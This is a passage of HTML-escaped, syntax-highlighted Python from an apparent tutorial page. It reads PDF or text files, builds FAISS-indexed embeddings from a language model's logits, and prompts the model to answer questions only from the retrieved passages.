&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error unpickling file &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;file&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;read_pdf&lt;/span&gt;(file_path):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_reader &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; PyPDF2&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;PdfFileReader(pdf_file_obj)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    num_pages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numPages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; page_num &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;range&lt;/span&gt;(num_pages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        page_obj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pdf_reader&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;getPage(page_num)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; page_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;extractText()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;yield&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Finished reading file. Number pages: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;num_pages&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf_file_obj&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_embeddings&lt;/span&gt;(file_path, tokenizer, model, device):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; os&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists(EMBEDDINGS_FILE):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the embeddings and passages from disk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        embeddings, context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; load_embeddings(EMBEDDINGS_FILE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;list&lt;/span&gt;(read_pdf(file_path))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; file:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                context_passages &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; file&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        embeddings &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; passage &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; passage&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip the passage&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#c6a0f6&#34;&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(passage, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                embeddings&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the embeddings and passages to disk&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        save_embeddings(embeddings, context_passages, EMBEDDINGS_FILE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; embeddings, context_passages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;handle_prompt&lt;/span&gt;(user_input, context)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Instruct: You are a helpful bot who only answers using the given context ONLY. If you cannot find the answer in the context reply &amp;#39;Sorry don&amp;#39;t have that detail&amp;#39;. Given the context &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;context&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;, answer this:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;user_input&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Output:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {name: tensor&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; name, tensor &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2000&lt;/span&gt;, pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove the prompt from the output text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;create_index&lt;/span&gt;(query_embedding):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    index &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;IndexFlatL2(query_embedding[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;shape[&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;])  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Euclidean distance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    faiss&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalize_L2(query_embedding)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add embeddings to the index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i, item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; tqdm(&lt;span style=&#34;color:#91d7e3&#34;&gt;enumerate&lt;/span&gt;(query_embedding), total&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(query_embedding)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ndim &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            item &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; item&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;reshape(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Reshape 1D array to 2D&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add(item)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; index
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;search_query&lt;/span&gt;(input_query, inputTokenizer, model, device, index, context_passages):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Given a new query context, encode it and perform similarity search&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; inputTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;encode(input_query, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        input_ids &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; input_ids&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;long()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        output &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model(input_ids)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logits &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; output&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;logits
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        query_embedding &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; logits&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;detach()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cpu()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;numpy()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Perform similarity search - top 3 similar passages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _, similar_indices &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; index&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;search(query_embedding, k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;DEBUG - Number of similar indices: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;similar_indices&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;size&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Retrieve context passages based on similar_indices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    similar_contexts &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [context_passages[i] &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; similar_indices[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
